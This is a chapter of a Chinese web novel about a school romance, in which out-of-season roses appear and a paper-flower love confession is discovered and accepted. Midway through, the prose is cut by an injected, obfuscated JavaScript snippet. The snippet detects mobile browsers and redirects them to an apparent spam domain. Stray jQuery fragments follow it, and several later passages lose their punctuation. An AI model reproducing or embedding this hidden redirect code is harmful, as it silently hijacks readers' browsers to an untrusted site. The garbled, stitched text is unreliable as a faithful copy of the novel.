第72章 蔷薇
作品:《穿成贵族学院的万人嫌》 一年有四季。
冬季应该是诺伊斯校园最不好看的时候。
隆冬时尚有厚雪覆盖,白茫茫一片,洁白柔软,雪色圣洁。
但天气预报报道今年佛列伦州的降雪量预计较往年偏少,入冬下过一场大雪之后,就再也没了声息。
少了雪的装饰,冬季的诺伊斯显得缺少生机,灰蒙蒙的天空,树枝光秃,草地的草叶蔫蔫打着卷儿,不在花期的花丛凋零衰败。
图书馆的门扉、窗牖隔绝了寒意,却难以抵抗弥漫着的荒凉、停滞感。
尤其是学习的时候,很多人怨气比鬼大。
在很寻常的冬日一天,大家睁开眼、走向室外、走进室内,由于太过诧异,来不及扫掉身上湿润化开的细碎冰晶,也来不及拿出手机在论坛上、讯息上交换信息,径直说出了声。
“我还在做梦?”
“确诊已学疯,我出现幻觉了。”
“没疯,我刚才在外面摸过了,是真花。”
窗内窗外,透过玻璃。
不成形状的雪片静静落下之处,生长出了蔷薇。
鲜妍、明丽的颜色、丛丛簇簇。
盛放的、含苞待放的,纷纷降落在贫瘠的土地上。
一夜之间,美不胜收。
南序在走进图书馆前,停在拐角,弯腰用手指轻轻碰了下粉色的花瓣,冰冷又细腻的触感,凑近了,可以闻到沁着水汽的清新花香。
虽然南序的情绪不会受天气、环境影响而低落,但见到漂亮的花,还是喜欢的花,心情随之明朗起来,是人的本能。
他轻轻一笑。
窗内在观察花的人不自觉地也弯起弧度,他们压低声音继续讨论:
“蔷薇的花期不是五月才开始吗?”
“对啊,肯定是五月,世界上没人比我更懂蔷薇!”
说这话的人成功收获其他很多人冷冰冰的假笑。
关于“这些蔷薇是什么品种?为什么会出现在反常季节出现、学校怎么样搞到手”的经典三连问被抛出,讨论迟迟没有停息,忽然间,有人犹豫地恍然大悟:
“哦,我突然想起来,有一个地方或许可以培育出来?”
……
风卷着细碎、湿润的雪粒落在教堂最高的塔尖,旁敲侧击,从洞开的窗户里进入教堂内。
坐在窗边的人似乎不感觉到寒冷,收回眼神:“学校种了花,确实顺眼不少。”
站在他前方侧边、身着黑西装的人深鼻高目,典型的高原人种特征,闻言笑道,带点自豪的语气:“是的。”
巴伐利亚高原严寒漫长,冻土之上植被稀疏。
但金钱、银币总能发挥一些作用,为了彰显权势,为了展现
荣耀在冬季也不凋落的花种与技术在历史里被卡佩家族所掌握。
目光触及到花海的起点放眼望去花海的尽头就是卡佩家族的古堡。
在即将步入冬天的秋日末尾希里斯告诉呆在他身边的保镖他想要看到蔷薇。
于是在冬天从高原培育出的蔷薇移栽到了不可能盛开的校园之中。
“要关上窗吗?您的身体才刚好没有多久。”保镖关心询问。
这个秋天频频造访佛列伦州的风暴令希里斯吃尽苦头。
和油画上金绿色颜料丝毫不差的外貌特征也放大了基因问题在这一代的存在感。
希里斯冷漠地瞥过保镖他嫌恶地擦掉化在皮肤上的水没有理会这个建议。
家族将这些人放在他身边名义上保护实际上更为了管控他在他头痛时约束好他以免丑闻在风声中长了脚走漏。
保镖立刻谦恭地弯腰保持着谨慎的态度微微垂着的眼里闪过一瞬思索。
事实上希里斯的反应已经超出了他的预料。
哪怕对方是他需要服从的关系但当他长时间注视着这位长期受病痛折磨的家族继承人难免会产生这是一只困在梦魇中的野兽的认知。
他会对这样的狂暴感到深入骨髓的畏惧但与此同时微妙的怜悯和轻蔑相伴而生。
当然随着年纪的增长加重的情况以及成年躯体与日俱增的力量警惕永远是面对希里斯的主要情绪。
但最近好像发生了变化。
像一辆失控的车终于要冲向悬崖边缘时又被什么拉了回来。
最后一个风暴爆发时在许凛教授的诊室希里斯双眼猩红青筋暴起保镖已经做好因压制以及迁怒而受伤的准备希里斯却在砸碎一个花瓶后抬头低吼让他们滚出去。
依旧是那副要撕裂什么的疯状苍白疲倦的神经质病态但在混乱中保存了一丝清明。在试图撕碎一切前不再像从前那样直接爆发企图拉着其他人一起走向毁灭。
带上了一点点……人类的感觉。
包括此刻希里斯身处最为厌恶的教堂却如此平和宁静。
这样改变的缘由
他看向窗外的蔷薇。
希里斯的余光注意到了对方的视线指向知道对方联想到了谁。
站在台前祷告的神父与唱诗班的声音合在一起圣经的章节有限循环往复又翻到新约之中、哥多林前书里熟悉的章节。
“爱是恒久忍耐又有恩慈……”
就算厌恶音乐、穹顶、信仰在日复一日中已经融进了希
里斯的血液里,他可以自然地接上下一句,直到最后。
“……爱是永不止息。
保镖讶然地望着希里斯。
对方虔诚、眷恋的神色,似乎懂得了什么是爱。
希里斯的眼睛没有挪动,空洞地集中向前方。
壁画在冷光中徐徐铺开,千篇一律的绘就对象——
面容模糊的上帝微微低头垂眸,抬起的手上有钉痕。
希里斯注视壁画很久,突然问道:“上帝的眼睛为什么是黑色?那分明是魔鬼的象征。
“他的眼睛里就有魔鬼。他喃喃说。
不然怎么照见阴暗、扭曲、暴力也不会害怕,不然怎么会多看几眼,竟会在心里感受到不能爱的绝望。
保镖声音迟疑:“您对他……
是什么感情?
“怎么?“希里斯似笑非笑地把脸转向保镖,脸上的讥讽毫不掩饰,语气讥讽,“难道你想听到,我喜欢上了南序,这个回答?
保镖噤声。
与一个神经病、一个疯子谈论爱与希望无异于痴人说梦。
他的灵魂里只有极致、狂暴和毁灭。
希里斯揉了揉难受的太阳穴,声音阴恻恻的:“真要说起来,我更恨他。
他还是恨自己那副样子被南序见到,他还是恨南序不肯驯服他,更恨南序把他当做人来对待,竟然教他了什么叫尊重。
尊重意味着他不能像条疯狗一样缠上南序,犯病时要忍耐,要避开南序,以免伤到对方,意味着他可能会越来越远离南序。
目光尽头的讲坛侧方,挂了张记载了不同地区教会分布的世界地图。
上方是北,下方是南。
从北端的巴伐利亚高原,移到南方的蒙特佩斯,一路向南。
但世界是一个兜兜转转的球体,恨到极点——
他盯着地图上标记的极点。
恰逢冬天,南半球的极点正处于极昼。
或许恨意会在一片亮堂中无所遁形,不小心就闪现了恨的对立面。
希里斯出神了很久。
他望向蔓蔓花枝,忽然向身边人确认,轻声、忐忑:
“他见到那些蔷薇时高兴吗?
轰轰烈烈的蔷薇止步于北区的地界。
阿诺德,北区的王。之一。
绝对不允许未经证实的物种进入北区,万一发生生物入侵了怎么办?
北区较起真来,属于他祖上的地盘,他的话语权还算很够分量,校方要移栽之前征求过他的意见。阿诺德在某些方面嗅觉灵敏,不停追问校方究竟是谁的手笔。
校方架不住他的恐吓,只好坦白。
虽然不喜欢希里斯,但花是无罪的,何况还是南序喜欢的花。
阿诺德考虑
了会儿谨慎地圈出一小片地作为新品种的试验田决定监测以后再考虑引不引进。
不过冬季少了几分生机的确不怎么好看所以书屋的窗台前不知什么时候被谢倾摆上了一个花瓶瓶口一样栽满了花。
冬季绽放鲜花的核心技术暂时无法被掌握所以是假花。
又有些特别。
折纸叠出的。
层叠错落的纸蔷薇雅致舒展浅蓝、烟紫云霞般梦幻的色彩风一吹纸片的摩擦声簌簌。
阿诺德端详并且评判了一番认为假花也是无罪的于是保留在了小屋没给谢倾丢出去。
窗框是胡桃木色的中间一张桌子两侧分开坐了人花瓶摆在最中央符合画里的构图审美。
谢倾手中捧着一本封皮褪色的旧书在书屋里随意找到的。
他最近很有闲情逸致开始翻阅起以前从不涉猎的书籍集中在一些厚重、晦涩又浪漫的诗歌、散文、戏剧等等文学作品。
另一边南序的钢笔停停走走终于写到了报告纸一半的位置
谢倾将目光从书本上抬起来:“写完了。”
南序皱眉。
谢倾的实习不也是打打杀杀吗?为什么不像他那么纠结?
南序问:“你怎么写得那么快?”
明明上一次在图书馆谢倾落笔的时候看上去还特别的苦恼怎么突然之间进展飞快。
谢倾顿住。
该怎么告诉南序他根本就没认真写全心全意的注意力倾注在了别的需要书写的地方。
临时找借口很容易被戳穿谢倾诚实地说了半真半假的实话:“我没认真写简单写了点提升意志力、增强合作能力的空话不打算在上面浪费时间而且阿诺德也不会看。”
“好吧。”南序接受了这个理由因为最后一点很有说服力。
实习报告一式两份一份交给校方存档一份要返还给实习机构。
南序同时得到了两个A+的分数。
这个分数代表了高度的肯定所以他才不打算敷衍过去认认真真地想要给予对面真诚的反馈。
谢倾的情况的确比较特殊阿诺德看他不顺眼把报告写出花儿来都没有用。
“你进展到哪里?”谢倾问。
“还剩三分之一吧。”
研究所那份好解决和校方协商了实验数据暂时无法公开的情况南序打算将那份无法发表的论文作为最后的成果递交给许凛当做一个完美的收尾。
执行署的在磨磨蹭蹭中也在慢慢解决只是单纯地不爽有人在他面前过分闲适
。
谢倾知道自己碍眼,缓缓合上书本,看了眼南序差不多快空的水杯,知情知趣地站起身:“我再去煮壶红茶。”
人一走,狗又凑了上来,瞬间窜上了谢倾的座位,再轻轻一踩,高傲地站在桌上打量自己的江山。
它很聪明,知道南序的杯子、作业不可以随便乱动,动了之后风险巨大。于是在嗅了嗅南序的手指之后,它湿漉漉的鼻子又凑上了窗台,好奇探索片刻,毫不犹豫地伸出爪子推翻花瓶。
玻璃花瓶晃了晃,南序连忙伸手去拦,但倾斜的角度已经令里头的花束泼洒出来。
狗犯错、狗慌张、狗犯更大的错。惊慌失措的尾巴一扫,桌上的杯子应声而倒。
南序扶起水杯,摸了下小狗的头示意它先下桌,情绪稳定地收拾残局。
幸好杯里没有剩下多少水,桌上只有小水洼一样的一小片区域,没怎么殃及桌面上的作业。
南序抓起离那滩缓缓流动的水最近的那朵纸蔷薇,再把其余散乱
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15353969|153687||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
的纸花推到干净的桌面上。
纸质的,淡粉色,很漂亮,线条弧度柔软,细腻的折叠手法,也是这个花瓶里唯一的粉色的纸蔷薇。
可惜挽救得来不及,已经被水洇湿了,水渍沿着花瓣缓缓渗透,若隐若现显示出浅淡的墨迹。
南序顿住,拆开了那朵花。
一朵花变成一张被水沾湿、布满折痕的粉色的纸张。
认真喷了同名的香水,温柔馥郁的清甜气息。
一行被水淋湿、洇开的字。
写的是——
“南序同学,我喜欢你。”
南序的指尖捏在信纸上,他转身拿起几朵完整的花。
一样有着字。
不过不是告白了。
淡金色这朵是祝福。
“祝你和阳光一样灿烂。”
烟紫的这朵也是祝福。
“祝你健康、平安。”
浅蓝的。
“祝你自由。”
“其他也是祝福。”谢倾站在门口,状似随意地把手中透明玻璃壶放在门边的架子上。
他没有倚着门,腰背挺直,影子被光拉得很长。
折纸和写情书在同一张桌面上进行。
一沓粉色的信笺,另一沓叠花的手工纸张,不小心就混在了一起,看见是粉色的,就习惯性地写下废了很多稿、但开头已经无比流畅的第一句告白。
写完才发现写错了,不该写在手工叠纸上,但出于一些私心,抱着说不清道不明的期待和侥幸,将错就错,叠成了一支粉色的纸蔷薇,放进花瓶中,摆在窗前。
可能会被发现,但更大可能不会被发现,第一天放在窗台时,谢倾尚且怀揣忐忑的心情,掌心微微出了汗。
因
为当时南序靠近了观察挺久挺感兴趣但最终字迹并没有被发现。
再过这么久谢倾就忘记了这件事。
只不过会在香气快要消散时再喷洒一点香水让纸花陪伴过这个冬天等待春天真正的到来。
但上帝喜欢眨眨眼让秘密在完全没有准备的时刻猝然暴露。
南序拿回了那张粉色的纸张又看了一遍抬起眼皮等待谢倾作出回复或者解释的样子。
空气很安静呼吸声似乎碰撞在一起也许是由于冬季冷淡不太温暖竟像无声的对峙。
谢倾的眉眼深邃抬眸看着南序。
反复的练习、字斟句酌不停寻找那些作品里寻找动听的句子来修饰好那份心意但在南序回望过来时沁着浮光的眼眸里纷纷被定格。
明明应该更周全、更完美但全卡在喉咙里没办法说出来。
他滚了滚喉结声音低沉只能用最直白的话表达出来。
“南序我喜欢你。”
由于过于郑重和坚定冬日天色也不太明媚告白者直视的眼睛就成了灰蓝的深水港身上的那种平时刻意收敛、展现无害的冷峻感显现出来容易令被告白者升起防备。
南序脸色平静
淡淡的微光静静流淌向室内下一秒的声音温柔:
“我可以成为你的追求者吗?”
南序微微挑了眉头脸上露出微妙的诧异。
谢倾人如其名倾斜着的特立独行告白也要剑走偏锋。
倾注了所有的勇气、情感字字句句推敲斟酌却没有说“我可以和你在一起吗”而说了另一句很没分量的话。
凝滞的气氛因为南序单手一撑坐上桌子的随意姿态而流动起来。
领带和发梢微微晃动南序捏着那张纸顺着折痕在慢慢复原出原本的样子。
“那你之前的行为算什么?”
他问道。
他不是瞎子也不是傻子当然清楚谢倾为什么会出现在他身边但他感到意外的是之前的经历不算追求吗?为什么还问可不可以当追求者。
谢倾望向南序。
南序正专注地低头研究那朵花的折法黑发柔软衬衫下那一节脖颈的肌骨透出硬玉的质地淡且疏离。
算潜移默化。
算近水楼台先得月。
算处心积虑得到一个现在可以站在你面前说出这句话的机会。
谢倾思考了下。
好像都不是。
“什么都不算南序。”谢倾认真说。
靠近你对你好和条件反射、本能反应、呼吸、心跳一样不会去计算或者衡量。
南序“
唔”了一声作为回应。
之后就没有了声音,只剩下叠纸的窸窣声。
谢倾在似乎于审判的场景里,心里有了预感。
朋友是一个界限,突破界限要迈向其他关系,会瞬间引起南序的警觉,甚至从前的接近也可能会推倒重来。
所以他试探地提出了追求者的身份,现在看来,也没有多大可能了。
有点遗憾,但没关系,得想办法重头再来。
只是不知道明天还能不能踏进这片地盘。
南序没抬眼,自然也没看见谢倾眼睛里没有隐藏的情感,隐秘而无穷期。
他的手很灵巧,没花多长时间,就复原出了那只粉蔷薇。
水渍已经干涸了,捏在指尖时栩栩如生。
南序的手抵住膝盖撑着头,用那朵纸蔷薇轻轻拍打自己的脸颊侧边。在思考的小动作。
一直以来,他一个小习惯,会在演出谢幕时向观众席抛下一支蔷薇。
洁白的窗帘被风吹起,书页哗啦啦的翻动,淡淡的蔷薇香气弥漫在呼吸之中。
谢倾正在垂头思考接下来应该怎么办。
纸蔷薇轻轻一抛,划出一道漂亮的弧度,落入手忙脚乱的慌乱怀中。
光影拂过南序的眉眼,比任何蔷薇都要叫人心动。
“诶。”
他托起腮,慢悠悠地说:
“我同意了,追求者。”

